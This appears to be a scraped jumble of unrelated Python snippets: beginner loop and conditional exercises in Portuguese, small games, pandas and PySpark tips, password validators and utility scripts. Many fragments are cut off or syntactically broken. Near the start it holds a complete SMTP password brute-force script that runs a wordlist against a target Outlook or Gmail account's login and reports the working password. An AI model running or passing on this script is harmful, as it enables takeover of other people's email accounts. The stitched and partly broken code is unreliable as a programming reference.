i=1

while i < 5:
    print(i)
    i+=1
print("\n")    

#FOR LOOPS    
#1
nome="diogo"
for letra in nome:
    print(letra)
print("\n")    
    
#2    
lista=["ola","diogo","teixeira"]
for palavra in lista:
    print(palavra)
print("\n")
 
#3
adjs=["nice", "top", "cool"]
nomes=["pedra","roda","bola"]

for adj in adjs:
    for nome in nomes:
        print(adj,nomes)
print("\n")

#4 (break)
nomes2=["ana","joao","hugo","pedro"]
for nomes in nomes2:
    print(nomes)
    if nomes=="hugo":
        break
print("\n")

#5 (conitnue)
for var in "Geeksforgeeks":
	if var == "e":
		continue
	print(var)

for i in range(1, 11):
	if i == 6:
		continue
	else:
		print(i, end=" ")

 
 
 
 
 
 
 
 
 
 
 
 
 
#IF
nome = input ("Qual o teu nome?\n")

if nome == "Diogo":
    print("Olá, " + nome + ", sê bem vindo.") 
    
#IF + ELSE
if nome == "Diogo":
    print("Olá, " + nome + ", sê bem vindo.") 
else:
    print("Olá, " + nome + ", sai já daqui! Não és bem vindo.")
    
#IF + ELSE (Nested)
#Exemplo 1
nome = input ("Qual o teu nome?\n")

if nome == "Diogo":
    skill=input("Olá, " + nome + ". És capaz de programar?\n")
    if skill=="Sim":
        print("Sê bem vindo!") 
        exit()
    else:
        print("Não tem mal. Sempre podes aprender.")
else:
    print("Olá, " + nome + ", sai já daqui! Não és bem vindo.")
    
    
#IF + ELSE (Nested)   
#Exemplo 2
 preço=140

if preço>400:
    print("Tlmv caro.")
    
elif preço>200:
    if preço>350:
        print("Tlmv a bom preço.")
    elif preço > 300:
        print("Tlmv a excelente preço.")
    else:    
        print("Comprar já!!!")
        
else:
        print("Telemóvel estragado")
        
#Exemplo 2 simplificado
preço=100
        
if preço>=400:
    print("Tlmv caro.")

elif preço>300:
    if 400>preço>=350:
        print("Tlmv a bom preço.")
    else:
        print("Tlmv a excelente preço.")

else:
    print("Tlmv estragado") 
        
 #IF + ELSE (Not Nested)   
 order=input("Que quilhas queres?\n")
    
if order=="performer neo glass":
    price=79
    print("O preço é: " + str(price) + "€")
elif order=="performer neo carbon":
    price=99
    print("O preço é: " + str(price) + "€")
elif order=="performer glass":
    price=120
    print("O preço é: " + str(price) + "€")
else:
    print("Não temos essas quilhas.")
    
    

    
    
#!/usr/bin/python
# Dyrk.org 2016-2017

import smtplib

# Outlook.com
smtp_s   = 'smtp-mail.outlook.com'

# Gmail
# smtp_s = 'smtp.gmail.com'

smtp_p = 587
sender = 'target_adress@hotmail.com'
dico   = 'pwdlist.txt'

with open(dico) as f:
    for password in f:
        password = password.replace('\n', '')
        try:
            m = smtplib.SMTP(smtp_s, smtp_p)
            m.ehlo()
            m.starttls()
            m.login(sender, password)
            print '[OK] => ' + sender + ' : ' + password
            m.close()
            exit()
        except smtplib.SMTPAuthenticationError, e:
            if e[0] == 534:  # Gmail
                print '[OK] => ' + sender + ' : ' + password
                print e
                exit()
            else:
                print 'try ' + password + ' .... err. ' + str(e[0]) \
                    + '   >>>  ' + e[1]

			
# Libraries Section #
from random import randint

# Introduction Section #
print("Welcome to BattleShip! \n")
print("This version only includes single player mode. You battle AI. \n")
print("-----")

print("\nWould you like instructions on how to play? \n yes \n no \n")
response = str(input())
if response == "yes":
    print("⠀")
    print("Here's the basic rundown: \n")
    print("You're an idiot. \n")
elif response == "no":
    print("⠀")
    print("No? All right! \n")

print("----- \n")

# Board Creation Section #
board = []

dimensions = int(input("Enter the width and length you want the board to be: "))

for x in range(dimensions):
  board.append(["O"] * dimensions)

def print_board(board):
  for row in board:
    print(" ".join(row))

print("⠀")
print_board(board)
print()

# AI Battleship Creation Section #
def random_row(board):
  return randint(0, len(board) - 1)

def random_col(board):
  return randint(0, len(board[0]) - 1)

ship_rows = []
ship_cols = []

number_of_ships = int(input("Enter how many ships you want: "))

for ship_row in range(number_of_ships):
    ship_rows.append(random_row(board))

for ship_col in range(number_of_ships):
    ship_cols.append(random_col(board))

# print(ship_rows) # --> for testing
# print(ship_cols) # --> for testing

# Gameplay Section #
print("⠀")
print("-----")
print("⠀")
print("Try and guess the random placement of the ships done by AI. \n")
print("----- \n")

for turn in range(dimensions):
    print("You are currently on turn", turn + 1)
    print()

    print("Remember that rows and columns start from 0 in code. \n")
    guess_row = int(input("Guess Row: "))
    guess_col = int(input("Guess Col: "))
    print("⠀")
 
    if guess_row in ship_rows:
        matching_coord = ship_rows.index(guess_row)
    if guess_col in ship_cols and ship_cols.index(guess_col) == matching_coord:
        if (board[guess_row][guess_col] == "X"):
            print("You guessed that one already.")
            print()
        else:
            print("Congratulations! You sunk one of my battleships!")
            board[guess_row][guess_col] = "X"
            number_of_ships -= 1
            print("There are", number_of_ships, "remaining. \n")
    else:
        if (guess_row < 0 or guess_row > dimensions - 1) or (guess_col < 0 or guess_col > dimensions - 1):
            print("Oops, that's not even in the ocean.")
            print()
        elif(board[guess_row][guess_col] == "X"):
            print("You guessed that one already.")
            print()
        else:
            print("You missed my battleship!")
            board[guess_row][guess_col] = "X"
            print()

    print_board(board)
    print()
    print("----- \n")
    
    if turn == dimensions - 1:
        print("Game Over. \nYou lost, lol.")
        print("You had", number_of_ships, "ships remaining.")
    if number_of_ships == 0:
        print("Game Over. \nYou won! Good job.")
        break
# Search for lines that contain 'From'
import re
hand = open('mbox-short.txt')
for line in hand:
    line = line.rstrip()
    if re.search('From:', line):
        print(line)

# Code: http://www.py4e.com/code3/re01.py
print('Hello, welcome to trivia')

ans = input('Are you ready to play (yes/no)')
score= 0
total_q = 4

if ans.lower() == 'yes':
    ans = input('1. What is the best programming language?')
    if ans.lower == 'python':
        score += 1
        print('Correct')
    else:
        print('Incorrect')
        score -= 1
        

    ans = input('2. What is 2 + 8 + 9 -1')
    if ans == '18':
        score += 1
        print('Correct')
    else:
        print('Incorrect')
        score -= 1


    ans = input('3. What is better, a 1050ti or a 1060 (graphics card)?')
    if ans == '1050ti':
        score += 1
        print('Correct')
    else:
        print('Incorrect')
        score -= 1


    ans = input('4. Who came second in the stanely cup finals?')
    if ans == 'nights' or ans.lower == 'vegas':
        score += 1
        print('Correct')
    else:
        print('Incorrect')
        score -= 1
#WHILE LOOPS
x=0
while x<5:
    print("Not there yet, x=" + str(x))
    x=x+1
print("x="+str(x))    

print("\n")

x=0
while x<8:
    print("Not there yet, x=" + str(x))
    x=x+1
print("x="+str(x))    

print("\n")
#MORE WHILE LOOPS
def attempts(n):
    x=1
    while x<=n:
        print("Attempt" + str(x))
        x+=1
    print("Done")    
attempts(3)
    
    
print("\n")
#INITIALIZING VARIABLES
def count_down(start_number):
    current=3
    while current>0:
        print(current)
        current-=1
    print("zero")
count_down(434) #é indiferente o número daqui   

print("\n")
def count_down(start_number):
    current=6
    while current>0:
        print(current)
        current-=1
    print("zero")
count_down(434) 
# string.split(separator, maxsplit)
	# separator is optional and refers to any whitespace as default. It indicates which separator to use when splitting the string
	# maxsplit is optional and specifies how many splits to do. Default value is -1, whichis "all occurrences"
----
# Below, we try to extract "stephen.marquard" from "From stephen.marquard@uct.ac.za Sat Jan  5 09:14:16 2008".
line = "From stephen.marquard@uct.ac.za Sat Jan  5 09:14:16 2008"
words = line.split() # words = ['From', 'stephen.marquard@uct.ac.za', 'Sat', 'Jan', '5', '09:14:16', '2008']
email = words[1] # email = stephen.marquard@uct.ac.za
pieces = email.split('@') # pieces = ['stephen.marquard', 'uct.ac.za']
print(pieces[1])
---
# setting the maxsplit parameter to 2, will return a list with 3 elements
line = "From stephen.marquard@uct.ac.za Sat Jan  5 09:14:16 2008"
words = line.split(' ', 2)
print(words) # ['From', 'stephen.marquard@uct.ac.za', 'Sat Jan  5 09:14:16 2008']
t = ['zero', 'one', 'two']
x = t.pop(1)
print(t)
# ['zero', 'two']
print(x) #pop() can return the element that was removed. 
# one
----
#If you don’t provide an index, it deletes and returns the last element.
t = ['zero', 'one', 'two']
x = t.pop()
print(t)
# ['zero', 'one']
print(x)
# two
mutable_list = [2, 14, 26, 41, 63]
print(mutable_list)
# [2, 14, 26, 41, 63]
mutable_list[2] = 49 #We change the value in index 2 into '49'
print(mutable_list)
# [2, 14, 49, 41, 63]
if *test* : # A test is an expression that is assessed to either True or False. 
	*block of code* # To be carried out if test is assessed to True
else: 
	*block of code* # To be carried out if test is assessed to False

or #Without optional block of code
if *test* :
	*block of code*  
f = open("C:\\Users\\username\\....\\demofile.txt", "w")
f.write("What if we rewrite the file? Say you were made to be mine. ")
f = open(r"C:\\Users\\username\\....\\demofile.txt")
print(f.read())

#Output
#What if we rewrite the file? Say you were made to be mine.
import random

number_of_doors = 5

# Display welcome messages
print("Welcome to the Goblin Hunt")
print("An award-winning game full of adventure and excitement (!)")

# Get player name
player_name = input("What is your name? ")
print( player_name + ", a goblin is hiding in one of the kitchen cupboards. Do you think that you can find it?")

print("|_|" * number_of_doors)

goblin_position = random.randint(1, number_of_doors)

keep_trying = True

# Main game loop
while keep_trying:
  guessed_position = input("Can you guess where the goblin is hiding? ")
  guessed_position = int(guessed_position)

  if guessed_position == goblin_position:  # If player guesses correctly
    print("Well done. You've found the goblin.")
    keep_trying = False
  else:  # If player's guess is incorrect
    print("No, sorry. The goblin is still hiding somewhere.")
    
print("Thank you for playing. Now get back to work!")
# list_of_names = [...]

# Define your own function for program to look at the first letter of that name and decide whther to write name into a list.
def find_names_starting_with(letter, names):
    result = [] # Create a variable called result and give it an empty list
    for name in names: # Use for loop to repeat following code for every names in given list
        if name[0] == letter: # Change the letter into desired first letter
            result.append(name) # Add name with desired first letter to the end of list

    return result # Return statements sends data from the function back to the main program.

# Define your own function for program to filter the names in the list based on the number of letters in the name.
def find_names_of_length(length, names): 
    result = [] # Create a variable called result and give it an empty list
    for name in names:
        if len(name) == length: # Function len() returns the length of any data type that’s a sequence. When you use it on a list, it will return the number of items in the list, and when you use it on a string, it returns the number of characters.
            result.append(name) # Add name with desired number of letters to the end of list

    return result 

# Insert your desired first letter in example shown below
# names_e = find_names_starting_with("E", list_of_names)
names_e = find_names_starting_with("E", list_of_names)
# Insert desired number of letters in the name in example shown below
# names_e_and_6 = find_names_of_length(6, names_e)
names_e_and_6 = find_names_of_length(6, names_e)

# Finally, print the two lists.
print(names_e)
print(names_e_and_6)
file_name = input('Enter the file name:  ')
  try:
      file_handler = open(file_name)
  except:
      print('File cannot be opened:', file_name)
      quit()
handler = open('textfile.txt')
for line in handler:
    line = line.rstrip()
    if not '@uct.ac.za' in line : 
        continue
    print(line)
handler = open('textfile.txt')
for line in handler:
    line = line.rstrip() #rstrip() method removes characters at the end a string. 
    if not line.startswith('From:') : #For this case, we remove any lines between lines staring with "From:""
        continue
    print(line)
handler = open('textfile.txt')
for line in handler:
    if line.startswith('From:') : #State your criteria. For example, the line must start with "From:"
        print(line)
              
              
handler = open('textfile.txt')
count = 0
for line in handler: #for loop reads each line
    count = count + 1
print('Line Count:', count)
print("Hello, World!")

####################################

if 5 > 2:
  print("Five is greater than two!")
  
  

if 5 > 2:
  print("Five is greater than two!")

##################################

x = 5
y = "Hello, World!"

print(x)
print(y)

#This is a single line comment

"""
This is a comment
written in
more than just one line
"""

#################################

x = 5
y = "John"
print(x)
print(y)

##############################

x = 4       # x is of type int
x = "Sally" # x is now of type str
print(x)

#############################

x = str(3)    # x will be '3'
y = int(3)    # y will be 3
z = float(3)  # z will be 3.0

print(x)
print(y)
print(z)

############################

x = 5
y = "John"
print(type(x))
print(type(y))

############################

x = "John"
# is the same as
y = 'John'

print(x)
print(y)

###########################

a = 4
A = "Sally"
#A will not overwrite a

print(a)
print(A)

#########################

myvar = "John"
my_var = "John"
_my_var = "John"
myVar = "John"
MYVAR = "John"
myvar2 = "John"

print(myvar)
print(my_var)
print(_my_var)
print(myVar)
print(MYVAR)
print(myvar2)

########################


x = "My name is Sadman + Samin = SadManSamIN. What is that you intend to do?"
print(x)

############################

#Multi word variable name case

myVariableName = "Camel"
MyVariableName = "Pascal"
my_variable_name = "Snake"

print(myVariableName) 
print(MyVariableName)
print(my_variable_name)

#############################

#Multiple variables at once.

x, y, z = "I", "am", "Sam"
print(x)
print(y)
print(z)
 
"""
 we can use print command in the same line using
 comma(,) like this.
"""
 
print(x), print(y)

#####################

#Assigning same value to multiple variables at once.

x = y = z = "My_Variable"
print(z)
print(y)
print(x)

####################

#Unpacking collection

Fruits = ["Orange", "Apple", "Anhilation"]

x, y, z = Fruits
print(x)
print(y)
print(z)

#Packing tuple

fruits = ("Apple", "Orange", "Cherry")
print(fruits)

#Unpacking tuple
(green, yellow, red) = fruits
print(green)
print(yellow)
print(red)
import os

# Function to rename multiple files
def main():
    i = 0
    path = r"path_name"
    for filename in os.listdir(path):
        dst = str(i).zfill(4) + ".jpg"
        src = os.path.join(path, filename)
        dst = os.path.join(path, dst)
        os.rename(src, dst)
        i += 1
    return print("{} FILES COMPLETADOS".format(len(os.listdir(path))))


# Driver Code
if __name__ == "__main__":

    # Calling main() function
    main()
df[df.columns[df.columns.str.contains(pat = 'WORDABC9')]]
   WORDABC9N123  WORDABC99N123
0            13             16
1            14             17
2            15             18

df[df.columns[df.columns.str.contains(pat = 'WORDABC9\\b')]]
Empty DataFrame
Columns: []
Index: [0, 1, 2]
df_sets[df_sets['year'] == 1949] # filter a complete data based on specific criteria

df_sets.sort_values('year', ascending=True).head() # find first year in data

df_sets.sort_values('num_parts', ascending=False).head(n=10) # top 10 based on criteria

df['name'].nunique() # number of unique values

df.name.unique()  # unique values output
df['name'].unique() # same as before - unique values output
df['new_col']=df[cols_lst].astype("str").sum(1)
# Opcion 1, select column index: 1,2,3

new = old.iloc[:,[1,2,3]].copy()

# Opcion 2, do not forget the double square breaks 

new = old[['a','b','c']].copy

list1 = []
list1[:0] = string
return list1
def sigma(first, last, const):
    sum = 0
    for i in range(first, last + 1):
        sum += const * i
    return sum

# first : is the first value of (n) (the index of summation)
# last : is the last value of (n)
# const : is the number that you want to sum its multiplication each (n) times with (n)
from scipy.stats import norm

# What percentage of man are shorter than 154
mean = 161
standard_deviation = 7

from scipy.stats import norm
norm.cdf(154, mean, standard_deviation)
# Generate 10 random heights
mean = 161
standard_deviation = 7

from scipy.stats import norm
norm.rvs(mean, standard_deviation, size = 10)
import sys
directory_path = os.path.abspath(os.path.join('../code_shared'))
if directory_path not in sys.path:
    sys.path.append(directory_path)
import params_file as pf
import functions_file as ff
df = pd.DataFrame(data=_list)
df['epoch_time'] = df['time'].apply(lambda x: datetime.strptime(x, "%Y-%m-%dT%H:%M:%S.%fZ"))
freq = {3: 3, 2: 6, 1: 4}
k = 2

sort_orders = {k: freq[k] for k in sorted(freq, key=freq.get, reverse=True)[:k]}
print(sort_orders)

# Output {2: 6, 1: 4}
freq = {3: 3, 2: 6, 1: 4}
k = 2

sort_orders = [k for k in sorted(freq, key=freq.get, reverse=True)[:k]]
print(sort_orders)

# Output [2, 1]
if __name__ == '__main__':

    thePass = "Password123!"
    theSalt = "12345"

    if validate_strong_password(thePass):
        print(thePass, " Meets the Criteria")
        result, resultingHash = gen_pass_hash(thePass, theSalt)
def gen_pass_hash(password, salt):
    try:
        string_to_hash = password + salt
        hash_obj = hashlib.sha256(str(string_to_hash).encode('utf-8'))
        return True, hash_obj.hexdigest()
    except IndexError:
        return False, "Hashing Failure"
if __name__ == '__main__':

    thePass = "NullIsB4d!"
'''
Simple Function to generate a SHA256 hash of password. Password is first changed to Unicode.

'''

def gen_pass_hash(password):
    try:
        string_to_hash = password
        hash_obj = hashlib.sha256(str(string_to_hash).encode('utf-8'))
        return True, hash_obj.hexdigest()
    except IndexError:
        return False, "Hashing Failure"
    # Check for triple repeats

    pos = 0
    for eachChar in password:
        if pos < pw_len - 2:
            if eachChar == password[pos + 1] and eachChar == password[pos + 2]:
                no_rpt = False
            else:
                pos += 1

    # Check for out of range characters

    for eachChar in password:
        val = ord(eachChar)
        if val < 0x20 or val > 0x7f:
            rng = False

    if upp and low and num and spc and cnt and rng and no_rpt:
        return True
    else:
        return False
# Main Program Starts Here
# ===================================

if __name__ == '__main__':

    thePass = "\0NullIsB4d!"

    if validate_strong_password(thePass):
        print(thePass, " Meets the Criteria")
    else:
        print(thePass, " Has an out-of-range character")
import random
import numpy as np
def create_square_array(n):
    return np.array([random.randint(0, n**2) for i in range(n*n)]).reshape(n,n)
create_square_array(8)
df.groupby('is_trans').count() # group data by "is_trans" and count others var

df[['name','is_trans']].groupby('is_trans').count() # same as above but with specifi col

df.is_trans.value_counts() # count haw many time a value is repeated in a col
class Solution:
    def romanToInt(self, s):
 
        values = {'I': 1, 'V': 5, 'X': 10, 'L' : 50, 'C' : 100, 'D' : 500, 'M' : 1000}   
        result = 0
        for i in range(len(s)):
            if i + 1 < len(s) and values[s[i]] < values[s[i + 1]] : # if current item is not the last item on the string
                                                                    # and current item's value is smaller than next item's value 
                result = result - values[s[i]]                      # then subtract current item's value from result
            else:
                result = result + values[s[i]]                      # otherwise add current item's value to result
        return result

Task = Solution()
print(Task.romanToInt("III"))
print(Task.romanToInt("LVIII"))
print(Task.romanToInt("MCMXCIV"))
import pandas as pd # for manage data
import matplotlib.pyplot as plt # for manage plots and graphs
if __name__ == '__main__':

    if validate_strong_password("A11aBC!!11"):
        print("Strong")
    else:
        print("Weak")
pos = 0

    for eachChar in password:
        if pos < pw_len - 2:
            if eachChar == password[pos + 1] and eachChar == password[pos + 2]:
                no_rpt = False
            else:
                pos += 1

    if upp and low and num and spc and cnt and no_rpt:
        return True
    else:
        return False
if len("password") >= 8:
import ftplib
import subprocess

# Credentials
username = ""
password = ""

# FTP Server Info
ip = ""
dnsName = ""
port = 

# QUA - FTP Location of Files
ftppath = "/BI_QUA/Expedicao"

# QUA - Bucket S3 Location of Files
bucketPath = "s3://analytics-qa-data-raw/expedicoes/"


#Open FTP Connection
def openFTPServer(ip, port, username, password):
    server = ftplib.FTP()
    server.connect(ip, port)
    server.encoding = "utf-8"
    server.login(username, password)
    return server

#Return list of files available on source
def getListOfFiles(server, path):
    files_list = []
    if server is not None:
        server.cwd(path)
        server.dir(files_list.append)
    return files_list

#Clean some string Junk and returns clean filename
def getNamesOfFiles(files_list):
    filenames = []
    for line in files_list:
        elem = line.split(" ")
        filenames.append(elem[-1])

    return filenames

#Download Files
def getFiles(server, filenames):
    for namefile in filenames:
        with open(namefile, "wb") as file:
            server.retrbinary(f"RETR {namefile}", file.write)


#Ends a FTP connection
def closeFTPConnection(server):
    server.quit()


#Moves the files to the bucket
def moveFilesToBucket(files, bucketPath):
    for file in files:
        subprocess.call(['aws', 's3', 'mv', file, bucketPath])


# MAIN Execution
server = openFTPServer(ip, port, username, password)
filesList = getListOfFiles(server, ftppath)
filenames = getNamesOfFiles(filesList)
getFiles(server, filenames)
closeFTPConnection(server)
moveFilesToBucket(filenames,bucketPath)
# Main Program Starts Here
# ===================================

if __name__ == '__main__':

    passTests = ["Short7!",
                 "nouppercase7!",
                 "NOLOWERCASE7!",
                 "NoNumber!",
                 "NoSpecial7",
                 "GoodPass7!"]

    for eachTest in passTests:
        if validate_strong_password(eachTest):
            print(eachTest, "PASS")
        else:
            print(eachTest, "FAIL")
 # Validate all conditions

    for eachChar in password:
        if eachChar in "ABCDEFGHIJKLMNOPQRSTUVWXYZ":
            upp = True
        elif eachChar in "abcdefghijklmnopqrstuvwxyz":
            low = True
        elif eachChar in "0123456789":
            num = True
        elif eachChar in "!@#$%^&*()_-=+/\';><,.>":
            spc = True
        else:
            continue
    if len("password") >= 8:
        cnt = True

    if upp and low and num and spc and cnt:
        return True
    else:
        return False
from google.colab import drive
drive.mount('/content/drive')
def arg_printer(a, b, *args, option=True, **kwargs):
   print(a, b)
   print(args)
   print(option)
   print(kwargs)
   
   
arg_printer(1, 4, 6, 5, param1=5, param2=6)

# prints:

# 1 4
# (6, 5)
# True
# {'param1': 5, 'param2': 6}
import os
from PIL import Image
folder_path = //folder_images # maybe could be better if theres no subdirectories
extensions = []
for fldr in os.listdir(folder_path):
    sub_folder_path = os.path.join(folder_path, fldr)
    for filee in os.listdir(sub_folder_path):
        file_path = os.path.join(sub_folder_path, filee)
        print('** Path: {}  **'.format(file_path), end="\r", flush=True)
        im = Image.open(file_path)
        rgb_im = im.convert('RGB')
        if filee.split('.')[1] not in extensions:
            extensions.append(filee.split('.')[1])
import time
import numpy as np

def timeit(somefunc,*args,repeats=100,**kwargs):
    
    times=[] # initialise array to collect the time for each repetition
    
    for i in range(repeats): # set loop for number of repetitions to run and time the function that many times

        starttime=time.time() # set start

        ans=somefunc(*args,**kwargs) # run the function 

        endtime=time.time() # set end

        timetaken=endtime-starttime # calculate time from start and end

        times.append(timetaken) # append time for this run to the times list
    
    mean=np.mean(times) # calculate the average time across the repetitions

    stdev=np.std(times) # get the standard deviation of the times

    error=stdev/(repeats**0.5) # get the error?
 
    return (ans,mean,error)
# LED Candle animation for microypthon on esp8266

import time
import uos
import math
import machine
import neopixel


# number of leds in the strip
LED_COUNT = 20

# base color
r = 99
g = 31
b = 6

np = neopixel.NeoPixel(machine.Pin(4), LED_COUNT)


def show():
   np.write()

def Color(r, g, b):
    return (int(r), int(g), int(b))


def setPixelColor(i, color):
    np[i] = color


def wait(ms):
   time.sleep(ms/1000.0)


def randint(min, max):
    return min + int(int.from_bytes(uos.urandom(2), 10) / 65536.0 * (max - min + 1))


def c_brightness(c, brightness):
    return max(0, min(c * brightness / 100, 255))


class LED_light(object):
    def __init__(self, pos):
        self.time = 0
        self.pos = pos


    def update(self, delta):
        self.time = self.time - delta
        if self.time <= 0:
            self.random_mode()
            self.random_duration()


    def set_brightness(self, brightness):
        setPixelColor(self.pos, Color(c_brightness(r, brightness), c_brightness(g, brightness), c_brightness(b, brightness)))


    def random_mode(self):
        # Probability Random LED Brightness
        # 50% 77% –  80% (its barely noticeable)
        # 30% 80% – 100% (very noticeable, sim. air flicker)
        #  5% 50% –  80% (very noticeable, blown out flame)
        #  5% 40% –  50% (very noticeable, blown out flame)
        # 10% 30% –  40% (very noticeable, blown out flame)
        brightness = 0
        r = randint(0, 100)
        if r < 50:
            brightness = randint(77, 80)
        elif r < 80:
            brightness = randint(80, 100)
        elif r < 85:
            brightness = randint(50, 80)
        elif r < 90:
            brightness = randint(40, 50)
        else:
            brightness = randint(30, 40)
        self.set_brightness(brightness)


    def random_duration(self):
        # Probability Random Time
        # 90% 20 ms
        #  3% 20 – 30 ms
        #  3% 10 – 20 ms
        #  4%  0 – 10 ms
        r = randint(0, 100)
        if r < 90:
            self.time = 20
        elif r < 93:
            self.time = randint(20, 30)
        elif r < 96:
            self.time = randint(10, 20)
        else:
            self.time = randint(0, 10)


def main():
    candles = [LED_light(i) for i in range(LED_COUNT)]
    while True:
        now = time.ticks_ms()
        [l.update(now) for l in candles]
        show()
        wait(2)


main()
import io

from fastapi import FastAPI
from fastapi.responses import StreamingResponse
from fastapi.staticfiles import StaticFiles


app = FastAPI()

# create a 'static files' directory
# create a '/static' prefix for all files
# serve files from the 'media/' directory under the '/static/' route
#   /Big_Buck_Bunny_1080p.avi becomes '/static/Big_Buck_Bunny_1080p.avi'
# name='static' is used internally by FastAPI
app.mount("/static", StaticFiles(directory="media"), name="static")


@app.get("/")
async def main():
    # open the movie file to stream it
    movie = open("media/Big_Buck_Bunny_1080p.avi", "rb")
    # return a stream response with the movie and a MIME type of 'video/avi'
    return StreamingResponse(movie, media_type="video/avi")
I've been reading the following example, and couldn't figure out, what
**kw mean. (It's an empty dictionary, but what's the semantics):
It's a keyword argument. It's some kind of repository for arguments
that aren't recognized.

If you have function like this:
  
def func(a, *args, *kw):
	print a
	print args
	print kw

and you call the functin like this:

func('value A', 'value B', 'value C', argumentA = 'value D', argumentB = 'value D')

the extra arguments would normally raise an error, but with the * and **, Python would:
- assign 'value B' and 'value C' to args
- assign 'argumentA':'value D' and 'argumentB':'value E' to kw

so if you run the function, it will output:
####
value A
('value B', 'value C')
{'argumentB': 'value E', 'argumentA': 'value D'}
####

the args and kw can be accessed like a tuple and dictionary respectively
import ctypes as ct 
from tkinter import *

def setWinStyle(root):
    set_window_pos = ct.windll.user32.SetWindowPos
    set_window_long = ct.windll.user32.SetWindowLongPtrW
    get_window_long = ct.windll.user32.GetWindowLongPtrW
    get_parent = ct.windll.user32.GetParent

    # Identifiers
    gwl_style = -16

    ws_minimizebox = 131072
    ws_maximizebox = 65536

    swp_nozorder = 4
    swp_nomove = 2
    swp_nosize = 1
    swp_framechanged = 32

    hwnd = get_parent(root.winfo_id())

    old_style = get_window_long(hwnd, gwl_style) # Get the style

    new_style = old_style & ~ ws_maximizebox & ~ ws_minimizebox # New style, without max/min buttons

    set_window_long(hwnd, gwl_style, new_style) # Apply the new style

    set_window_pos(hwnd, 0, 0, 0, 0, 0, swp_nomove | swp_nosize | swp_nozorder | swp_framechanged)     # Updates

window = Tk()
Button(window, text="button").pack() # add your widgets here.
window.after(10, lambda: setWinStyle(window)) #call to change style after the mainloop started. Directly call setWinStyle will not work.
window.mainloop()
    import ctypes as ct

    set_window_pos = ct.windll.user32.SetWindowPos
    set_window_long = ct.windll.user32.SetWindowLongPtrW
    get_window_long = ct.windll.user32.GetWindowLongPtrW
    get_parent = ct.windll.user32.GetParent

    # Identifiers
    gwl_style = -16

    ws_minimizebox = 131072
    ws_maximizebox = 65536

    swp_nozorder = 4
    swp_nomove = 2
    swp_nosize = 1
    swp_framechanged = 32

    hwnd = get_parent(settings_panel.winfo_id())
    # Get the style
    old_style = get_window_long(hwnd, gwl_style)
    # New style, without max/min buttons
    new_style = old_style & ~ ws_maximizebox & ~ ws_minimizebox
    # Apply the new style
    set_window_long(hwnd, gwl_style, new_style)
    # Updates
    set_window_pos(hwnd, 0, 0, 0, 0, 0, swp_nomove | swp_nosize | swp_nozorder | swp_framechanged)
# function to create queue
def CreateQueue():
  queue = []
  return queue

# create function to check whether 
# the queue is empty or not
def isEmpty(queue):
  if(len(queue) == 0):
    print("Queue is empty.")
  else:
    print("Queue is not empty.") 
    
#create function to return size of the queue       
def size(queue):
  return len(queue)

#create function to add new element       
def EnQueue(queue, newElement):
  queue.append(newElement)
  print(newElement, "is added into the queue.")

#create function to delete front element       
def DeQueue(queue):
  print(queue.pop(0), "is deleted from the queue.")

#create function to get front element       
def frontElement(queue):
  return queue[0]

#create function to get rear element       
def rearElement(queue):
  return queue[len(queue) - 1]

#test the code                
MyQueue = CreateQueue()

EnQueue(MyQueue, 10)
EnQueue(MyQueue, 20)
EnQueue(MyQueue, 30)
EnQueue(MyQueue, 40)

DeQueue(MyQueue)
isEmpty(MyQueue)
promt = "\nWhat toppingf would you like on your pizza?"
promt += "\nEnter 'done' when you are finished: "

while True:
    topping = input(promt)
    if topping.lower() != "done":
        print("Ill add " + topping + " to your pizza.")
    else:
        break
>>> re.findall(r"[-+]?(?:\d*\.\d+|\d+)", "Current Level: -13.2db or 14.2 or 3")
['-13.2', '14.2', '3']
# get first row
print(dataframe.collect()[0])
  
# get second row
print(dataframe.collect()[1])
  
# get last row
print(dataframe.collect()[-1])
  
# get third row
print(dataframe.collect()[2])
from pyspark.sql.types import IntegerType,BooleanType,DateType
# Convert String to Integer Type
df.withColumn("age",df.age.cast(IntegerType()))
df.withColumn("age",df.age.cast('int'))
df.withColumn("age",df.age.cast('integer'))

# Using select
df.select(col("age").cast('int').alias("age"))

#Using selectExpr()
df.selectExpr("cast(age as int) age")

#Using with spark.sql()
spark.sql("SELECT INT(age),BOOLEAN(isGraduated),DATE(jobStartDate) from CastExample")

df.groupBy("Add","Name").agg({'id':'sum'}).show()

>>> ps.date_range(start='1/1/2018', periods=5, freq='M')  
DatetimeIndex(['2018-01-31', '2018-02-28', '2018-03-31', '2018-04-30',
               '2018-05-31'],
              dtype='datetime64[ns]', freq=None)
from PIL import Image  
import matplotlib.pyplot as plt
%matplotlib inline

img_paht = "/content/drive/MyDrive/Imagenes/"
file = img_paht+'6.jpg'

I = Image.open(file)
plt.imshow(I)
plt.title('Imagen_1'),plt.axis('off') 
plt.show()
# import required module
import unidecode
 
# assign string
string = "orčpžsíáýd"
 
# display original string
print('\nOriginal String:', string)
 
# remove ascents
outputString = unidecode.unidecode(string)
 
# display new string
print('\nNew String:', outputString)
for x in "banana":
  print(x) 
​
wb = op.load_workbook(filename=BytesIO(bb))
ws = wb.worksheets[0]
_data = ws.values
columns = next(_data)[0:]
df = pd.DataFrame(_data, columns=columns)
import requests
from io import BytesIO
import tarfile
import openpyxl as op
url = "https://url/files.tar.gz".format(_name.lower())
    r1 = requests.get(url, stream=True, verify=False)
    #print(_config, r1.status_code)
    if (_config and r1.status_code == 200):
        try:    
            tar = tarfile.open(fileobj=BytesIO(r1.content))
            bb = tar.extractfile('output/risks.xlsx').read()
            wb = op.load_workbook(filename=BytesIO(bb))
            ws = wb.worksheets[0]
            _data = ws.values
            columns = next(_data)[0:]
            df = pd.DataFrame(_data, columns=columns)
            df['Application'] = _name.upper()
            df['ST'] = _config
            _final = _final.append(df[1:])
from google.colab import drive
drive.mount('/content/drive', force_remount=True)
root_dir = "/content/drive/My Drive/"
base_dir = root_dir + '[nombre_directorio_especifico]'
print(base_dir)
#end = ''
#pass the end = '' argument in your print()

print(*[1, 2, 3], end = '')
class node:            
    '''
     IN BETWEEN NODES IN LINKEDLIST
    '''
         
    def __init__(self,data=None):
        self.data = data 
        self.nextref=None
        
class linkedlist:
    def __init__(self): 
        self.head=None           # Todo head node intialize
        

            
    def insert(self,newdata):    #Todo insertng at beginning of the node
        newnode=node(newdata)
        newnode.nextref =self.head
        self.head=newnode
        
    def middle(self,pos,newdata):
        newnode=node(newdata)
        if pos< 1:
            print("exist") 
        elif (pos==1):
            newnode.nextref =self.head
            self.head=newnode
        else:
            temp=self.head
            for i in range(1,pos-1):
                if(temp!=None):
                    temp=temp.nextref
            if(temp!=None):
                newnode.nextref=temp.nextref
